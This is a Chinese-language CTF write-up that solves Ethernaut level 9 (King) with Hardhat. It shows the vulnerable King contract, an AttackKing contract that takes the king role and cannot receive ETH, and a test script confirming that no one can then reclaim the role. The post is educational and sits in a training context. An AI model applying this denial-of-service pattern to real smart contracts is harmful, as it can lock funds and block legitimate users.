用Hardhat闯关Ethernaut题9 -king

开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。

King合约

任务:自己变成king,并且阻止别人变成king了。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "hardhat/console.sol";

contract King {
    address payable king;
    uint256 public prize;
    address payable public owner;

    constructor() public payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        king.transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address payable) {
        return king;
    }
}

此合约的运行逻辑是发送>=prize数量的ETH,就将发送数量msg.value转给上一个king,然后自己变成新的king。 解题思路就是满足 require(msg.value >= prize || msg.sender == owner),然后使king.transfer(msg.value)失败(创建一个攻击合约,没有接收ETH的条件)。

攻击合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract AttackKing {
    constructor(address payable _king) payable {
        (bool success, ) = _king.call{value: msg.value}("");
        require(success, "fail");
    }
}

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");

describe("test", function () {
    var King;
    var AttackKing;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const KingInstance = await ethers.getContractFactory("King");
        King = await KingInstance.deploy({
            value: parseEther("1"),
        });
        expect(await King._king()).to.equal(deployer.address);

        const AttackKingInstance = await ethers.getContractFactory("AttackKing");
        AttackKing = await AttackKingInstance.connect(users[0]).deploy(King.address, {
            value: parseEther("2"),
        });
    });
    it("hack test", async function () {
        expect(await King._king()).to.equal(AttackKing.address);
        try {
            const res = await deployer.sendTransaction({
                value: parseEther("2"),
                to: King.address,
            });
        } catch (error) {
            console.log(error);
        }
    });
});

测试结果:

image.png

Github:hardhat测试仓库

本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2022-09-16 14:42
  • 阅读 ( 185 )
  • 学分 ( 2 )
  • 分类:智能合约
原文链接:,转发请注明来源!